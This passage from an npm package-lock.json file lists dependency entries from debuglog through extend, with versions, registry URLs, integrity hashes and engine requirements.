"sha1-IwdjLUwEOCuN+KMvcLiVBG1SdF8=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/debuglog": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/debuglog/-/debuglog-1.0.1.tgz", "integrity": "sha512-syBZ+rnAK3EgMsH2aYEOLUW7mZSY9Gb+0wUMCFsZvcmiz+HigA0LOcq/HoQqVuGG+EKykunc7QG2bzrponfaSw==", "dev": true, "engines": { "node": "*" } }, "node_modules/decamelize": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", "engines": { "node": ">=0.10.0" } }, "node_modules/decamelize-keys": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/decamelize-keys/-/decamelize-keys-1.1.0.tgz", "integrity": "sha512-ocLWuYzRPoS9bfiSdDd3cxvrzovVMZnRDVEzAs+hWIVXGDbHxWMECij2OBuyB/An0FFW/nLuq6Kv1i/YC5Qfzg==", "dependencies": { "decamelize": "^1.1.0", "map-obj": "^1.0.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/decamelize-keys/node_modules/map-obj": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", "integrity": "sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==", "engines": { "node": ">=0.10.0" } }, "node_modules/deep-is": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", "dev": true }, "node_modules/defaults": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.3.tgz", "integrity": "sha1-xlYFHpgX2f8I7YgUd/P+QBnz730=", "dependencies": { "clone": "^1.0.2" } }, "node_modules/define-properties": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", "dev": true, "dependencies": { "object-keys": "^1.0.12" }, "engines": { "node": ">= 0.4" } }, "node_modules/deglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/deglob/-/deglob-2.1.1.tgz", "integrity": "sha512-2kjwuGGonL7gWE1XU4Fv79+vVzpoQCl0V+boMwWtOQJV2AGDabCwez++nB1Nli/8BabAfZQ/UuHPlp6AymKdWw==", "dev": true, "dependencies": { "find-root": "^1.0.0", "glob": "^7.0.5", "ignore": "^3.0.9", "pkg-config": "^1.1.0", "run-parallel": "^1.1.2", "uniq": "^1.0.1" } }, "node_modules/deglob/node_modules/ignore": { "version": "3.3.10", "resolved": "https://registry.npmjs.org/ignore/-/ignore-3.3.10.tgz", "integrity": "sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug==", "dev": true }, "node_modules/delayed-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", "engines": { "node": ">=0.4.0" } }, "node_modules/detect-indent": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-6.1.0.tgz", "integrity": "sha512-reYkTUJAZb9gUuZ2RvVCNhVHdg62RHnJ7WJl8ftMi4diZ6NWlciOzQN88pUhSELEwflJht4oQDv0F0BMlwaYtA==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/detect-newline": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/dezalgo": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/dezalgo/-/dezalgo-1.0.4.tgz", "integrity": "sha512-rXSP0bf+5n0Qonsb+SVVfNfIsimO4HEtmnIpPHY8Q1UCzKlQrDMfdobr8nJOOsRgWCyMRqeSBQzmWUMq7zvVig==", "dev": true, "dependencies": { "asap": "^2.0.0", "wrappy": "1" } }, "node_modules/dir-glob": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", "dev": true, "dependencies": { "path-type": "^4.0.0" }, "engines": { "node": ">=8" } }, "node_modules/doctoc": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/doctoc/-/doctoc-2.2.1.tgz", "integrity": "sha512-qNJ1gsuo7hH40vlXTVVrADm6pdg30bns/Mo7Nv1SxuXSM1bwF9b4xQ40a6EFT/L1cI+Yylbyi8MPI4G4y7XJzQ==", "dependencies": { "@textlint/markdown-to-ast": "^12.1.1", "anchor-markdown-header": "^0.6.0", "htmlparser2": "^7.2.0", "minimist": "^1.2.6", "underscore": "^1.13.2", "update-section": "^0.3.3" }, "bin": { "doctoc": "doctoc.js" } }, "node_modules/doctrine": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", "dev": true, "dependencies": { "esutils": "^2.0.2" }, "engines": { "node": ">=0.10.0" } }, "node_modules/dom-serializer": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", "dependencies": { "domelementtype": "^2.0.1", "domhandler": "^4.2.0", "entities": "^2.0.0" }, "funding": { "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" } }, "node_modules/dom-serializer/node_modules/entities": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", "funding": { "url": "https://github.com/fb55/entities?sponsor=1" } }, "node_modules/domelementtype": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/fb55" } ] }, "node_modules/domhandler": { "version": "4.3.1", "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", "dependencies": { "domelementtype": "^2.2.0" }, "engines": { "node": ">= 4" }, "funding": { "url": "https://github.com/fb55/domhandler?sponsor=1" } }, "node_modules/domutils": { "version": "2.8.0", "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", "dependencies": { "dom-serializer": "^1.0.1", "domelementtype": "^2.2.0", "domhandler": "^4.2.0" }, "funding": { "url": "https://github.com/fb55/domutils?sponsor=1" } }, "node_modules/dot-prop": { "version": "5.3.0", "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz", "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==", "dependencies": { "is-obj": "^2.0.0" }, "engines": { "node": ">=8" } }, "node_modules/easy-table": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/easy-table/-/easy-table-1.1.0.tgz", "integrity": "sha1-hvmrTBAvA3G3KXuSplHVgkvIy3M=", "optionalDependencies": { "wcwidth": ">=1.0.1" } }, "node_modules/ecc-jsbn": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", "dev": true, "dependencies": { "jsbn": "~0.1.0", "safer-buffer": "^2.1.0" } }, "node_modules/ecdsa-sig-formatter": { "version": "1.0.11", "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", "dev": true, "dependencies": { "safe-buffer": "^5.0.1" } }, "node_modules/emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" }, "node_modules/end-of-stream": { "version": "1.4.4", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", "dev": true, "dependencies": { "once": "^1.4.0" } }, "node_modules/enquirer": { "version": "2.3.6", "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz", "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", "dev": true, "dependencies": { "ansi-colors": "^4.1.1" }, "engines": { "node": ">=8.6" } }, "node_modules/entities": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/entities/-/entities-3.0.1.tgz", "integrity": "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==", "engines": { "node": ">=0.12" }, "funding": { "url": "https://github.com/fb55/entities?sponsor=1" } }, "node_modules/error-ex": { "version": "1.3.2", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", "dependencies": { "is-arrayish": "^0.2.1" } }, "node_modules/es-abstract": { "version": "1.13.0", "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.13.0.tgz", "integrity": "sha512-vDZfg/ykNxQVwup/8E1BZhVzFfBxs9NqMzGcvIJrqg5k2/5Za2bWo40dK2J1pgLngZ7c+Shh8lwYtLGyrwPutg==", "dev": true, "dependencies": { "es-to-primitive": "^1.2.0", "function-bind": "^1.1.1", "has": "^1.0.3", "is-callable": "^1.1.4", "is-regex": "^1.0.4", "object-keys": "^1.0.12" }, "engines": { "node": ">= 0.4" } }, "node_modules/es-to-primitive": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.0.tgz", "integrity": "sha512-qZryBOJjV//LaxLTV6UC//WewneB3LcXOL9NP++ozKVXsIIIpm/2c13UDiD9Jp2eThsecw9m3jPqDwTyobcdbg==", "dev": true, "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" }, "engines": { "node": ">= 0.4" } }, "node_modules/escalade": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", "engines": { "node": ">=6" } }, "node_modules/escape-string-regexp": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", "engines": { "node": ">=0.8.0" } }, "node_modules/eslint": { "version": "5.4.0", "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.4.0.tgz", "integrity": "sha512-UIpL91XGex3qtL6qwyCQJar2j3osKxK9e3ano3OcGEIRM4oWIpCkDg9x95AXEC2wMs7PnxzOkPZ2gq+tsMS9yg==", "dev": true, "dependencies": { "ajv": "^6.5.0", "babel-code-frame": "^6.26.0", "chalk": "^2.1.0", "cross-spawn": "^6.0.5", "debug": "^3.1.0", "doctrine": "^2.1.0", "eslint-scope": "^4.0.0", "eslint-utils": "^1.3.1", "eslint-visitor-keys": "^1.0.0", "espree": "^4.0.0", "esquery": "^1.0.1", "esutils": "^2.0.2", "file-entry-cache": "^2.0.0", "functional-red-black-tree": "^1.0.1", "glob": "^7.1.2", "globals": "^11.7.0", "ignore": "^4.0.2", "imurmurhash": "^0.1.4", "inquirer": "^5.2.0", "is-resolvable": "^1.1.0", "js-yaml": "^3.11.0", "json-stable-stringify-without-jsonify": "^1.0.1", "levn": "^0.3.0", "lodash": "^4.17.5", "minimatch": "^3.0.4", "mkdirp": "^0.5.1", "natural-compare": "^1.4.0", "optionator": "^0.8.2", "path-is-inside": "^1.0.2", "pluralize": "^7.0.0", "progress": "^2.0.0", "regexpp": "^2.0.0", "require-uncached": "^1.0.3", "semver": "^5.5.0", "strip-ansi": "^4.0.0", "strip-json-comments": "^2.0.1", "table": "^4.0.3", "text-table": "^0.2.0" }, "bin": { "eslint": "bin/eslint.js" }, "engines": { "node": "^6.14.0 || ^8.10.0 || >=9.10.0" } }, "node_modules/eslint-config-standard": { "version": "12.0.0", "resolved": "https://registry.npmjs.org/eslint-config-standard/-/eslint-config-standard-12.0.0.tgz", "integrity": "sha512-COUz8FnXhqFitYj4DTqHzidjIL/t4mumGZto5c7DrBpvWoie+Sn3P4sLEzUGeYhRElWuFEf8K1S1EfvD1vixCQ==", "dev": true }, "node_modules/eslint-config-standard-jsx": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/eslint-config-standard-jsx/-/eslint-config-standard-jsx-6.0.2.tgz", "integrity": "sha512-D+YWAoXw+2GIdbMBRAzWwr1ZtvnSf4n4yL0gKGg7ShUOGXkSOLerI17K4F6LdQMJPNMoWYqepzQD/fKY+tXNSg==", "dev": true }, "node_modules/eslint-import-resolver-node": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.2.tgz", "integrity": "sha512-sfmTqJfPSizWu4aymbPr4Iidp5yKm8yDkHp+Ir3YiTHiiDfxh69mOUsmiqW6RZ9zRXFaF64GtYmN7e+8GHBv6Q==", "dev": true, "dependencies": { "debug": "^2.6.9", "resolve": "^1.5.0" } }, "node_modules/eslint-import-resolver-node/node_modules/debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "dependencies": { "ms": "2.0.0" } }, "node_modules/eslint-import-resolver-node/node_modules/ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", "dev": true }, "node_modules/eslint-module-utils": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.4.0.tgz", "integrity": "sha512-14tltLm38Eu3zS+mt0KvILC3q8jyIAH518MlG+HO0p+yK885Lb1UHTY/UgR91eOyGdmxAPb+OLoW4znqIT6Ndw==", "dev": true, "dependencies": { "debug": "^2.6.8", "pkg-dir": "^2.0.0" }, "engines": { "node": ">=4" } }, "node_modules/eslint-module-utils/node_modules/debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "dependencies": { "ms": "2.0.0" } }, "node_modules/eslint-module-utils/node_modules/ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", "dev": true }, "node_modules/eslint-plugin-es": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/eslint-plugin-es/-/eslint-plugin-es-1.4.0.tgz", "integrity": "sha512-XfFmgFdIUDgvaRAlaXUkxrRg5JSADoRC8IkKLc/cISeR3yHVMefFHQZpcyXXEUUPHfy5DwviBcrfqlyqEwlQVw==", "dev": true, "dependencies": { "eslint-utils": "^1.3.0", "regexpp": "^2.0.1" }, "engines": { "node": ">=6.5.0" } }, "node_modules/eslint-plugin-import": { "version": "2.14.0", "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.14.0.tgz", "integrity": "sha512-FpuRtniD/AY6sXByma2Wr0TXvXJ4nA/2/04VPlfpmUDPOpOY264x+ILiwnrk/k4RINgDAyFZByxqPUbSQ5YE7g==", "dev": true, "dependencies": { "contains-path": "^0.1.0", "debug": "^2.6.8", "doctrine": "1.5.0", "eslint-import-resolver-node": "^0.3.1", "eslint-module-utils": "^2.2.0", "has": "^1.0.1", "lodash": "^4.17.4", "minimatch": "^3.0.3", "read-pkg-up": "^2.0.0", "resolve": "^1.6.0" }, "engines": { "node": ">=4" } }, "node_modules/eslint-plugin-import/node_modules/debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "dependencies": { "ms": "2.0.0" } }, "node_modules/eslint-plugin-import/node_modules/doctrine": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-1.5.0.tgz", "integrity": "sha1-N53Ocw9hZvds76TmcHoVmwLFpvo=", "dev": true, "dependencies": { "esutils": "^2.0.2", "isarray": "^1.0.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/eslint-plugin-import/node_modules/ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", "dev": true }, "node_modules/eslint-plugin-node": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/eslint-plugin-node/-/eslint-plugin-node-7.0.1.tgz", "integrity": "sha512-lfVw3TEqThwq0j2Ba/Ckn2ABdwmL5dkOgAux1rvOk6CO7A6yGyPI2+zIxN6FyNkp1X1X/BSvKOceD6mBWSj4Yw==", "dev": true, "dependencies": { "eslint-plugin-es": "^1.3.1", "eslint-utils": "^1.3.1", "ignore": "^4.0.2", "minimatch": "^3.0.4", "resolve": "^1.8.1", "semver": "^5.5.0" }, "engines": { "node": ">=6" } }, "node_modules/eslint-plugin-promise": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/eslint-plugin-promise/-/eslint-plugin-promise-4.0.1.tgz", "integrity": "sha512-Si16O0+Hqz1gDHsys6RtFRrW7cCTB6P7p3OJmKp3Y3dxpQE2qwOA7d3xnV+0mBmrPoi0RBnxlCKvqu70te6wjg==", "dev": true, "engines": { "node": ">=6" } }, "node_modules/eslint-plugin-react": { "version": "7.11.1", "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.11.1.tgz", "integrity": "sha512-cVVyMadRyW7qsIUh3FHp3u6QHNhOgVrLQYdQEB1bPWBsgbNCHdFAeNMquBMCcZJu59eNthX053L70l7gRt4SCw==", "dev": true, "dependencies": { "array-includes": "^3.0.3", "doctrine": "^2.1.0", "has": "^1.0.3", "jsx-ast-utils": "^2.0.1", "prop-types": "^15.6.2" }, "engines": { "node": ">=4" } }, "node_modules/eslint-plugin-standard": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/eslint-plugin-standard/-/eslint-plugin-standard-4.0.0.tgz", "integrity": "sha512-OwxJkR6TQiYMmt1EsNRMe5qG3GsbjlcOhbGUBY4LtavF9DsLaTcoR+j2Tdjqi23oUwKNUqX7qcn5fPStafMdlA==", "dev": true }, "node_modules/eslint-scope": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", "dev": true, "dependencies": { "esrecurse": "^4.1.0", "estraverse": "^4.1.1" }, "engines": { "node": ">=4.0.0" } }, "node_modules/eslint-utils": { "version": "1.4.3", "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.4.3.tgz", "integrity": "sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==", "dev": true, "dependencies": { "eslint-visitor-keys": "^1.1.0" }, "engines": { "node": ">=6" } }, "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.1.0.tgz", "integrity": "sha512-8y9YjtM1JBJU/A9Kc+SbaOV4y29sSWckBwMHa+FGtVj5gN/sbnKDf6xJUl+8g7FAij9LVaP8C24DUiH/f/2Z9A==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/eslint-visitor-keys": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz", "integrity": "sha512-qzm/XxIbxm/FHyH341ZrbnMUpe+5Bocte9xkmFMzPMjRaZMcXww+MpBptFvtU+79L362nqiLhekCxCxDPaUMBQ==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/eslint/node_modules/ansi-regex": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/eslint/node_modules/strip-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "dependencies": { "ansi-regex": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/espree": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/espree/-/espree-4.1.0.tgz", "integrity": "sha512-I5BycZW6FCVIub93TeVY1s7vjhP9CY6cXCznIRfiig7nRviKZYdRnj/sHEWC6A7WE9RDWOFq9+7OsWSYz8qv2w==", "dev": true, "dependencies": { "acorn": "^6.0.2", "acorn-jsx": "^5.0.0", "eslint-visitor-keys": "^1.0.0" }, "engines": { "node": ">=6.0.0" } }, "node_modules/esprima": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", "dev": true, "bin": { "esparse": "bin/esparse.js", "esvalidate": "bin/esvalidate.js" }, "engines": { "node": ">=4" } }, "node_modules/esquery": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.0.1.tgz", "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", "dev": true, "dependencies": { "estraverse": "^4.0.0" }, "engines": { "node": ">=0.6" } }, "node_modules/esrecurse": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", "dev": true, "dependencies": { "estraverse": "^4.1.0" }, "engines": { "node": ">=4.0" } }, "node_modules/estraverse": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.2.0.tgz", "integrity": "sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/esutils": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", "integrity": "sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/eventemitter2": { "version": "6.4.4", "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-6.4.4.tgz", "integrity": "sha512-HLU3NDY6wARrLCEwyGKRBvuWYyvW6mHYv72SJJAH3iJN3a6eVUvkjFkcxah1bcTgGVBBrFdIopBJPhCQFMLyXw==", "dev": true }, "node_modules/execa": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/execa/-/execa-4.1.0.tgz", "integrity": "sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==", "dev": true, "dependencies": { "cross-spawn": "^7.0.0", "get-stream": "^5.0.0", "human-signals": "^1.1.1", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.0", "onetime": "^5.1.0", "signal-exit": "^3.0.2", "strip-final-newline": "^2.0.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sindresorhus/execa?sponsor=1" } }, "node_modules/execa/node_modules/cross-spawn": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", "dev": true, "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" }, "engines": { "node": ">= 8" } }, "node_modules/execa/node_modules/path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/execa/node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", "dev": true, "dependencies": { "shebang-regex": "^3.0.0" }, "engines": { "node": ">=8" } }, "node_modules/execa/node_modules/shebang-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/execa/node_modules/which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", "dev": true, "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "bin/node-which" }, "engines": { "node": ">= 8" } }, "node_modules/executable": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/executable/-/executable-4.1.1.tgz", "integrity": "sha512-8iA79xD3uAch729dUG8xaaBBFGaEa0wdD2VkYLFHwlqosEj/jT66AzcreRDSgV7ehnNLBW2WR5jIXwGKjVdTLg==", "dev": true, "dependencies": { "pify": "^2.2.0" }, "engines": { "node": ">=4" } }, "node_modules/extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", "integrity": 